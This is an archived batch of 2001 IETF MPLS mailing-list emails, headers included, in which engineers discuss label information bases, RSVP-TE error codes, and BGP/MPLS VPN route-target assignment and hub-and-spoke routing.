Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlixe23676
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 20:35:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlixe25388
	for <mpls@uu.net>; Mon, 1 Oct 2001 20:35:32 GMT
Received: from hongkong.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [202.84.12.149])
	id QQlixe24087
	for <mpls@uu.net>; Mon, 1 Oct 2001 20:35:41 GMT
Received: from hongkong.com([10.1.0.101]) by hongkong.com(JetMail 2.5.3.0)
	with SMTP id jm73bb94082; Mon,  1 Oct 2001 20:38:02 -0000
Received: from cmr0.ash.ops.us.uu.net([198.5.241.38]) by hongkong.com(JetMail 2.5.3.0)
	with SMTP id jm233bb345f3; Thu, 27 Sep 2001 09:24:44 -0000
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQligr15036;
	Thu, 27 Sep 2001 09:27:17 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQligr26797
	for mpls-outgoing; Thu, 27 Sep 2001 09:26:19 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQligr26765
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 27 Sep 2001 09:26:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQligr15327
	for <mpls@uu.net>; Thu, 27 Sep 2001 09:25:51 GMT
Received: from mail5.registeredsite.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail5.registeredsite.com [64.224.9.14])
	id QQligr12851
	for <mpls@uu.net>; Thu, 27 Sep 2001 09:26:02 GMT
Received: from mail.cominsights.com ([64.225.2.217])
	by mail5.registeredsite.com (8.11.4/8.11.4) with ESMTP id f8R8V4C07706
	for <mpls@uu.net>; Thu, 27 Sep 2001 04:31:31 -0400
Date: Thu, 27 Sep 2001 05:25:02 -0400
Message-Id: <200109270525.AA1941176658@mail.cominsights.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
Reply-To: <krishnakanth.rao@mail.cominsights.com>
To: <mpls@UU.NET>
Subject: label information base
X-Mailer: <IMail v6.05>
X-Auto-Forward: bennith@i-cable.com
Sender: owner-mpls@UU.NET
Precedence: bulk

How are label tables or label information base built at individual LSR's
 
Krishnakanth


From owner-mpls@UU.NET  Mon Oct  1 16:38:04 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00318
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 16:38:04 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlixe25508;
	Mon, 1 Oct 2001 20:36:48 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlixe23754
	for mpls-outgoing; Mon, 1 Oct 2001 20:36:08 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlixe23733
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 20:36:04 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlixe14286
	for <mpls@uu.net>; Mon, 1 Oct 2001 20:35:34 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlixe09733
	for <mpls@uu.net>; Mon, 1 Oct 2001 20:35:28 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA01583
	for <mpls@uu.net>; Mon, 1 Oct 2001 16:35:31 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA15902
	for <mpls@uu.net>; Mon, 1 Oct 2001 16:35:29 -0400 (EDT)
Message-ID: <3BB8D38A.3A75B31F@marconi.com>
Date: Mon, 01 Oct 2001 16:35:22 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVPTE questions
References: <OFB6DECA77.EE6EAC76-ON85256AD8.006E693D@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> There is error conditon under error code 23:   Unknown object
> Class-Num(spec 2205 page 96)
> and there is error code for Unknown object Class #13, what is the
> difference between these two?

Please re-read the page more carefully.

The bullet on page 97:

	o  Unknown object Class-Num.

is _NOT_ on a list of conditions that generate an RSVP System error.  It
is a list of conditions that an RSVP implementation may choose to detect
and log locally.  This has nothing to do with whether or not an error is
generated.

-- David


From owner-mpls@UU.NET  Mon Oct  1 16:39:32 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00407
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 16:39:32 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlixe13622;
	Mon, 1 Oct 2001 20:37:30 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlixe23874
	for mpls-outgoing; Mon, 1 Oct 2001 20:37:22 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlixe23843
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 20:37:17 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlixe18743
	for <mpls@uu.net>; Mon, 1 Oct 2001 20:37:01 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlixe22900
	for <mpls@uu.net>; Mon, 1 Oct 2001 20:37:13 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA27965 for <mpls@uu.net>; Mon, 1 Oct 2001 16:37:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA01237 for mpls@uu.net; Mon, 1 Oct 2001 16:37:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlixe23657
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 20:35:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlixe22289
	for <mpls@UU.NET>; Mon, 1 Oct 2001 20:34:29 GMT
Received: from exchsrv2.cosinecom.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: proxy93.cosinecom.com [63.88.104.93])
	id QQlixe19570
	for <mpls@UU.NET>; Mon, 1 Oct 2001 20:34:41 GMT
Received: by exchsrv2.cosinecom.com with Internet Mail Service (5.5.2653.19)
	id <TYR5X40Z>; Mon, 1 Oct 2001 13:34:14 -0700
Message-ID: <69BCCDDC980B4641BFC908D7BF95F18427374B@exchsrv-eng>
From: Rajesh Balay <Rajesh.Balay@cosinecom.com>
To: "'Sam Ford'" <samskford@yahoo.com>, Ajay Simha <asimha@cisco.com>
Cc: mpls@UU.NET
Subject: RE: BGP/MPLS based VPN
Date: Mon, 1 Oct 2001 13:34:08 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C14AB8.6BB02B70"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C14AB8.6BB02B70
Content-Type: text/plain;
	charset="iso-8859-1"

Sam,

The auto discovery of PEs to setup BGP connectivity is not of much value for
the following reasons:

a) Factors influencing the BGP connectivity are mostly driven by admin
policies and other factors. Site-site connectivity of a VPN is  not the only
requirement for backbone provisioning requirements. In practice, it the
backbone connectivity which dictates site-site VPN connectivity and not the
other way around.

b) Backbone provisioning is required to be done only once (independent of
VPNs). There is more value in auto discovering sites of a VPN (thru BGP as
in rfc2547) to scale the provisioning of VPNs.

c) (regarding large VPNs which u referred to) Number of sites in a VPN does
not contribute to the complexity of provisioning a VPN unlike in the overlay
model using a mesh connectivity. Each site is provisioned independently and
one needs to know only the state of the local PE, i.e., if it is capable of
MPLS VPNs. In other words, one does not know which are the other sites of
the VPN ... rfc2547 takes care of this issue.

Hope this helps.
regards,
-rajesh


-----Original Message-----
From: Sam Ford [mailto:samskford@yahoo.com]
Sent: Friday, September 28, 2001 4:07 PM
To: Ajay Simha
Cc: mpls@UU.NET
Subject: Re: BGP/MPLS based VPN


Hello,

Thanks for clarification.

Another slightly different question. The way I
understood based on some vendor's
manuals, IBGP peering between PEs are manually
provisioned, using bgp neighbor command, for VPN
routes
distribution among PEs. It may require lot of
effort to do it when setting up a pretty big VPN
with many sites without route reflector.

Are there implementations using automatic discovery
of PEs for VPNs? if so, what kinds of method do
they use for discovery (not for data transfer),
e.g. emulated LAN, IGP extension, etc?

Regards,
-SF

--- Ajay Simha <asimha@cisco.com> wrote:
> On Wed, 26 Sep 2001, Sam Ford wrote:
> 
> > Hello,
> >
> > I have the following questions on MPLS based VPN:
> > - One of the advantage over traditional VPN
> >   is cited as elimination of full mesh overlay
> >   when connecting multiple sites.
> >   Then, when does LSP setup in MPLS domain
> >   supporting a particular VPN?
> >   If it needs to be set up statically when
> configuring
> >   VPN, it doesn't seem to be different from
> > traditional
> >   mesh overlay.
> >   Is it set up when traffic is generated?
> 
> You have to remember MPLS is a control driven
> mechanism.  Nothing gets setup
> *when* there is traffic.  It is setup ahead of time.
> 
> Does the LSP need to be setup statically when
> configuring VPNs?
> 
> Depends on the implementation.  I have seen several
> implementations where LSPs
> are setup automatically for all the IGP derived
> routes - this would include
> the PEs and thus nothing special has to be done when
> you configure a VPN.
> 
>  > -
> >Does MPLS based
> >VPN require the same level
> >   of encryption as with traditional IP VPN?
> >   If not, how is it protected from unathorized
> >   access to data or tapping?
> 
> Now you are asking religious question :-)
> Of course the answer is always depends :-)
> 
> When you say IP VPNs do you mean IPSEC based VPNs? 
> If yes, IPSEC based VPNs
> have a different purpose in life.  Right now as I
> type this email, I'm using
> an IPSEC based VPN model and that is because I'm
> going over the public
> Internet.
> 
> If I got a dedicated ISDN/DSL or any other type of
> access into my company's
> network without going over the public Internet I may
> not need encryption.
> 
> If I still feel I need encryption, just as folks did
> in frame relay and atm
> networks they can encrypt their data.
> 
> -ajay
>  > > Thanks in advance,
> > -SF


__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com
############################################################################
########################## This email communication may contain CONFIDENTIAL
INFORMATION and is intended only for the use of the intended recipients
identified above.  If you are not the intended recipient of this
communication, you must not use, disclose, distribute, copy or print this
email. If you have received this communication in error, please immediately
notify the sender by reply email, delete the communication and destroy all
copies.
############################################################################
##########################

------_=_NextPart_001_01C14AB8.6BB02B70
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: BGP/MPLS based VPN</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Sam,</FONT>
</P>

<P><FONT SIZE=3D2>The auto discovery of PEs to setup BGP connectivity =
is not of much value for the following reasons:</FONT>
</P>

<P><FONT SIZE=3D2>a) Factors influencing the BGP connectivity are =
mostly driven by admin policies and other factors. Site-site =
connectivity of a VPN is&nbsp; not the only requirement for backbone =
provisioning requirements. In practice, it the backbone connectivity =
which dictates site-site VPN connectivity and not the other way =
around.</FONT></P>

<P><FONT SIZE=3D2>b) Backbone provisioning is required to be done only =
once (independent of VPNs). There is more value in auto discovering =
sites of a VPN (thru BGP as in rfc2547) to scale the provisioning of =
VPNs.</FONT></P>

<P><FONT SIZE=3D2>c) (regarding large VPNs which u referred to) Number =
of sites in a VPN does not contribute to the complexity of provisioning =
a VPN unlike in the overlay model using a mesh connectivity. Each site =
is provisioned independently and&nbsp; one needs to know only the state =
of the local PE, i.e., if it is capable of MPLS VPNs. In other words, =
one does not know which are the other sites of the VPN ... rfc2547 =
takes care of this issue.</FONT></P>

<P><FONT SIZE=3D2>Hope this helps.</FONT>
<BR><FONT SIZE=3D2>regards,</FONT>
<BR><FONT SIZE=3D2>-rajesh</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Sam Ford [<A =
HREF=3D"mailto:samskford@yahoo.com">mailto:samskford@yahoo.com</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Friday, September 28, 2001 4:07 PM</FONT>
<BR><FONT SIZE=3D2>To: Ajay Simha</FONT>
<BR><FONT SIZE=3D2>Cc: mpls@UU.NET</FONT>
<BR><FONT SIZE=3D2>Subject: Re: BGP/MPLS based VPN</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Hello,</FONT>
</P>

<P><FONT SIZE=3D2>Thanks for clarification.</FONT>
</P>

<P><FONT SIZE=3D2>Another slightly different question. The way I</FONT>
<BR><FONT SIZE=3D2>understood based on some vendor's</FONT>
<BR><FONT SIZE=3D2>manuals, IBGP peering between PEs are =
manually</FONT>
<BR><FONT SIZE=3D2>provisioned, using bgp neighbor command, for =
VPN</FONT>
<BR><FONT SIZE=3D2>routes</FONT>
<BR><FONT SIZE=3D2>distribution among PEs. It may require lot of</FONT>
<BR><FONT SIZE=3D2>effort to do it when setting up a pretty big =
VPN</FONT>
<BR><FONT SIZE=3D2>with many sites without route reflector.</FONT>
</P>

<P><FONT SIZE=3D2>Are there implementations using automatic =
discovery</FONT>
<BR><FONT SIZE=3D2>of PEs for VPNs? if so, what kinds of method =
do</FONT>
<BR><FONT SIZE=3D2>they use for discovery (not for data =
transfer),</FONT>
<BR><FONT SIZE=3D2>e.g. emulated LAN, IGP extension, etc?</FONT>
</P>

<P><FONT SIZE=3D2>Regards,</FONT>
<BR><FONT SIZE=3D2>-SF</FONT>
</P>

<P><FONT SIZE=3D2>--- Ajay Simha &lt;asimha@cisco.com&gt; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; On Wed, 26 Sep 2001, Sam Ford wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Hello,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I have the following questions on MPLS =
based VPN:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; - One of the advantage over traditional =
VPN</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; is cited as elimination of =
full mesh overlay</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; when connecting multiple =
sites.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; Then, when does LSP setup in =
MPLS domain</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; supporting a particular =
VPN?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; If it needs to be set up =
statically when</FONT>
<BR><FONT SIZE=3D2>&gt; configuring</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; VPN, it doesn't seem to be =
different from</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; traditional</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; mesh overlay.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; Is it set up when traffic is =
generated?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; You have to remember MPLS is a control =
driven</FONT>
<BR><FONT SIZE=3D2>&gt; mechanism.&nbsp; Nothing gets setup</FONT>
<BR><FONT SIZE=3D2>&gt; *when* there is traffic.&nbsp; It is setup =
ahead of time.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Does the LSP need to be setup statically =
when</FONT>
<BR><FONT SIZE=3D2>&gt; configuring VPNs?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Depends on the implementation.&nbsp; I have =
seen several</FONT>
<BR><FONT SIZE=3D2>&gt; implementations where LSPs</FONT>
<BR><FONT SIZE=3D2>&gt; are setup automatically for all the IGP =
derived</FONT>
<BR><FONT SIZE=3D2>&gt; routes - this would include</FONT>
<BR><FONT SIZE=3D2>&gt; the PEs and thus nothing special has to be done =
when</FONT>
<BR><FONT SIZE=3D2>&gt; you configure a VPN.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; &gt; -</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;Does MPLS based</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;VPN require the same level</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; of encryption as with =
traditional IP VPN?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; If not, how is it protected =
from unathorized</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; access to data or =
tapping?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Now you are asking religious question =
:-)</FONT>
<BR><FONT SIZE=3D2>&gt; Of course the answer is always depends =
:-)</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; When you say IP VPNs do you mean IPSEC based =
VPNs? </FONT>
<BR><FONT SIZE=3D2>&gt; If yes, IPSEC based VPNs</FONT>
<BR><FONT SIZE=3D2>&gt; have a different purpose in life.&nbsp; Right =
now as I</FONT>
<BR><FONT SIZE=3D2>&gt; type this email, I'm using</FONT>
<BR><FONT SIZE=3D2>&gt; an IPSEC based VPN model and that is because =
I'm</FONT>
<BR><FONT SIZE=3D2>&gt; going over the public</FONT>
<BR><FONT SIZE=3D2>&gt; Internet.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; If I got a dedicated ISDN/DSL or any other type =
of</FONT>
<BR><FONT SIZE=3D2>&gt; access into my company's</FONT>
<BR><FONT SIZE=3D2>&gt; network without going over the public Internet =
I may</FONT>
<BR><FONT SIZE=3D2>&gt; not need encryption.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; If I still feel I need encryption, just as =
folks did</FONT>
<BR><FONT SIZE=3D2>&gt; in frame relay and atm</FONT>
<BR><FONT SIZE=3D2>&gt; networks they can encrypt their data.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; -ajay</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; &gt; &gt; Thanks in advance,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; -SF</FONT>
</P>
<BR>

<P><FONT =
SIZE=3D2>__________________________________________________</FONT>
<BR><FONT SIZE=3D2>Do You Yahoo!?</FONT>
<BR><FONT SIZE=3D2>Listen to your Yahoo! Mail messages from any =
phone.</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://phone.yahoo.com" =
TARGET=3D"_blank">http://phone.yahoo.com</A></FONT>
<BR><FONT =
SIZE=3D2>###############################################################=
####################################### This email communication may =
contain CONFIDENTIAL INFORMATION and is intended only for the use of =
the intended recipients identified above.&nbsp; If you are not the =
intended recipient of this communication, you must not use, disclose, =
distribute, copy or print this email. If you have received this =
communication in error, please immediately notify the sender by reply =
email, delete the communication and destroy all copies. =
########################################################################=
##############################</FONT></P>

</BODY>
</HTML>
------_=_NextPart_001_01C14AB8.6BB02B70--



From owner-mpls@UU.NET  Mon Oct  1 17:17:38 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01375
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 17:17:37 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlixh13546;
	Mon, 1 Oct 2001 21:15:43 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlixh15478
	for mpls-outgoing; Mon, 1 Oct 2001 21:15:32 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlixh15470
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 21:15:28 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlixg10198
	for <mpls@uu.net>; Mon, 1 Oct 2001 21:14:02 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlixg13525
	for <mpls@uu.net>; Mon, 1 Oct 2001 21:14:13 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id RAA02498 for <mpls@uu.net>; Mon, 1 Oct 2001 17:14:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id RAA03773 for mpls@uu.net; Mon, 1 Oct 2001 17:14:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlixg15172
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 21:13:02 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlixg18978
	for <mpls@UU.NET>; Mon, 1 Oct 2001 21:12:47 GMT
Received: from cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: uzura.cisco.com [64.102.17.77])
	id QQlixg12037
	for <mpls@UU.NET>; Mon, 1 Oct 2001 21:12:58 GMT
Received: from ASIMHA-W2K.cisco.com (dhcp-64-102-48-121.cisco.com [64.102.48.121])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id RAA14571;
	Mon, 1 Oct 2001 17:12:37 -0400 (EDT)
Date: Mon, 1 Oct 2001 17:11:56 -0400 (Eastern Daylight Time)
From: Ajay Simha <asimha@cisco.com>
To: Sam Ford <samskford@yahoo.com>
cc: =?ISO-8859-1?Q?G=FCrkan=5FG=FClcan=5F?= <GurkanG@koc.net>,
        <erosen@cisco.com>, <mpls@UU.NET>
Subject: RE: RT Import/Export in BGP/MPLS based VPN
In-Reply-To: <20011001181059.29832.qmail@web14405.mail.yahoo.com>
Message-ID: <Pine.WNT.4.40.0110011711180.1056-100000@ASIMHA-W2K.cisco.com>
X-X-Sender: asimha@uzura.cisco.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by ietf.org id RAA01375

On Mon, 1 Oct 2001, Sam Ford wrote:

> Hello,
>
> Maybe, I'm getting into too much detail but I would
> like to understand the limitation in RT
> usage/assignment.
>
> For the Q1, if I specify Export 10:1 and 10:2
> in PE-3, all the routes coming from CE-3 will be
> tagged with route targets, both 10:1 & 10:2, and
> hence PE-1 will be able to import those routes
> since those routes from PE-3 carries 10:1 in addition
> to 10:2.
>
> Or, maybe I'm missing something. Does RT need to
> be the same as RD for a given VRF? I didn't see
> any such a restriction.

RT does not have to be the same as RD conceptually.

-ajay
>
> Regards,
> -SF
>
> --- Gürkan_Gülcan_(Koç.Net) <GurkanG@koc.net> wrote:
> > hi,
> > Q1
> > if you don't import 10:3 in 10:1 on PE and 10:2 on
> > PE2, you couldn't reach
> > from 10:3 to 10:1 or 10:2 with to-way communication.
> > and you must just
> > import 10:1, 10:2 and 10:3 to 10:3, not export 10:1
> > and 10:2 from the 10:3.
> >
> > Q2
> > you can write route-map to change route-target. like
> > this
> >
> > access-list 1 permit 10.0.0.0 0.0.0.255
> > route-map routemap1 permit 10
> > match ip address 1
> > set extcommunity rt 10:2 10:3
> >
> > ip vrf temp
> > export map routemap1
> >
> >
> > best regards
> >
> > Gurkan Gulcan
> >
> > -----Original Message-----
> > From: Sam Ford [mailto:samskford@yahoo.com]
> > Sent: Saturday, September 29, 2001 11:11 PM
> > To: erosen@cisco.com
> > Cc: mpls@UU.NET
> > Subject: RT Import/Export in BGP/MPLS based VPN
> >
> >
> > Hello,
> >
> > I have a doubt on the assignment of RT in BGP/MPLS
> > VPN,
> > a little bit off topic from the threat.
> >
> > I was confused about the assignment of RT when going
> > through examples in various materials.
> >
> > Let's say, there are 2 VPNs, in ASN 10.
> >
> > VPN-1: CE-1 - PE-1, and other sites in full mesh
> > VPN-2: CE-2 - PE-2, and other sites in full mesh
> >
> > And one server: CE-3 - PE-3
> >
> > I want to conntect only CE-1 & CE-2 sites with CE-3
> > in Central Services VPN topology. (CE-3 does not act
> > as
> > transit between CE-1 & CE-2, CE-1 & CE-2 cannot
> > communicate). So, I assigned RTs as follows:
> >
> > In PE-1:
> >   RD: 10:1
> >   Export/Import: 10:1
> >
> > In PE-2:
> >   RD: 10:2
> >   Export/Import: 10:2
> >
> > In PE-3:
> >   RD: 10:3
> >   Export/Import: 10:1
> >   Export/Import: 10:2
> >
> > Assuming there's no IP address overlap among those
> > sites.
> >
> > Q1, wouldn't this RT assignment work?
> >
> > In the examples I've seen, RTs are assinged as
> > follows:
> >
> > In PE-1:
> >   RD: 10:1
> >   Export/Import: 10:1
> >   Import: 10:3
> >   Export: 10:4
> >
> > In PE-2:
> >   RD: 10:2
> >   Export/Import: 10:2
> >   Import: 10:3
> >   Export: 10:4
> >
> > In PE-3:
> >   RD: 10:3
> >   Export: 10:3
> >   Import: 10:4
> >
> > Q2, Is there any reason to do this way?
> >
> > Q3, Above, am I creating a new VPN (3) by connecting
> > CE-3
> >   to CE-1 & CE-2? Or am I making CE-3 to belong to
> >   both the existing VPNs (VPN-1 & VPN-2)?
> >
> > I would appreciate any clarification,
> > -SF
> >
> > -----Original Message-----
> > From:	Eric Rosen [SMTP:erosen@cisco.com]
> > Sent:	Friday, September 28, 2001 12:39 PM
> > To:	Eric Gray
> > Cc:	Ajay Simha; Jay Karthik; MPLS mailing list
> > Subject:	Re: LDP usage in MPLS based VPNs
> >
> >
> > In  the  "hub  and spoke"  case  that  Ajay
> > mentioned,  the intent  is  the
> > following.
> >
> > Let H be the  hub, S1 and S2 the spokes.  Let A be
> > the address prefix for a
> > subnet that attaches to S2.  What we want is:
> >
> > - S1 thinks the route to A is via H.
> >
> > - H thinks the route to A is via S2.
> >
> > Thus traffic from S1 to A goes via H and then on to
> > S2.
> >
> > To make this work, S2 must distribute a route RD1:A,
> > and H must distribute a
> > route RD2:A.   Both these  routes have to  be able
> > to
> > pass through  a route
> > reflector, since  RD1:A must make  it to  H, and
> > RD2:A
> >  must make it  to S1.
> > This  implies that  RD1  must be  different  than
> > RD2;
> >  otherwise the  route
> > reflector could not pass on both routes.
